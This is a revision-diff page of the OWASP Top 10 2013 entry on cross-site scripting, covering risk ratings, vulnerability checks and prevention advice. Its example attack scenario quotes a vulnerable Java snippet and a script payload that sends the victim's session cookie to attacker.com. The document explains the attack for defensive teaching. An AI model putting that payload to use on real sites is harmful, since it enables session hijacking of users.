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Difference between revisions of "Top 10 2013-A3-Cross-Site Scripting (XSS)"
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| − | You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using [https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf safe JavaScript APIs]? For unsafe JavaScript APIs, encoding or validation must also be used. | + | You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via server-side input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using [https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf safe JavaScript APIs]? For unsafe JavaScript APIs, encoding or validation must also be used. |
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches. | Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches. | ||
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Preventing XSS requires separation of untrusted data from active browser content. | Preventing XSS requires separation of untrusted data from active browser content. | ||
# The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet OWASP XSS Prevention Cheat Sheet] for details on the required data escaping techniques. | # The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet OWASP XSS Prevention Cheat Sheet] for details on the required data escaping techniques. | ||
| − | # Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input. | + | # Positive or “whitelist” server-side input validation is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input. |
# For rich content, consider auto-sanitization libraries like OWASP’s [https://www.owasp.org/index.php/AntiSamy AntiSamy] or the [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project Java HTML Sanitizer Project]. | # For rich content, consider auto-sanitization libraries like OWASP’s [https://www.owasp.org/index.php/AntiSamy AntiSamy] or the [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project Java HTML Sanitizer Project]. | ||
# Consider [https://www.owasp.org/index.php/Content_Security_Policy Content Security Policy (CSP)] to defend against XSS across your entire site. | # Consider [https://www.owasp.org/index.php/Content_Security_Policy Content Security Policy (CSP)] to defend against XSS across your entire site. | ||
Revision as of 16:17, 5 July 2016
NOTE: THIS IS NOT THE LATEST VERSION. Please visit the OWASP Top 10 project page to find the latest edition.
| ← A2-Broken Authentication and Session Management | A4-Insecure Direct Object References → |
| Threat Agents | Attack Vectors | Security Weakness | Technical Impacts | Business Impacts | |
|---|---|---|---|---|---|
| Application Specific | Exploitability AVERAGE |
Prevalence VERY WIDESPREAD |
Detectability EASY |
Impact MODERATE |
Application / Business Specific |
|
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators. |
Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database. |
XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are two different types of XSS flaws: 1) Stored and 2) Reflected, and each of these can occur on the a) Server or b) on the Client. Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify. |
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. |
Consider the business value of the affected system and all the data it processes.
Also consider the business impact of public exposure of the vulnerability. |
|
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Am I Vulnerable To 'Cross-Site Scripting (XSS)'?
You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via server-side input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using safe JavaScript APIs? For unsafe JavaScript APIs, encoding or validation must also be used. Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches. Web 2.0 technologies, such as Ajax, make XSS much more difficult to detect via automated tools. |
How Do I Prevent 'Cross-Site Scripting (XSS)'?
Preventing XSS requires separation of untrusted data from active browser content.
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Example Attack Scenarios
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping: (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; The attacker modifies the 'CC' parameter in their browser to: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'. This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF.
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References
OWASP
External |
| ← A2-Broken Authentication and Session Management | A4-Insecure Direct Object References → |
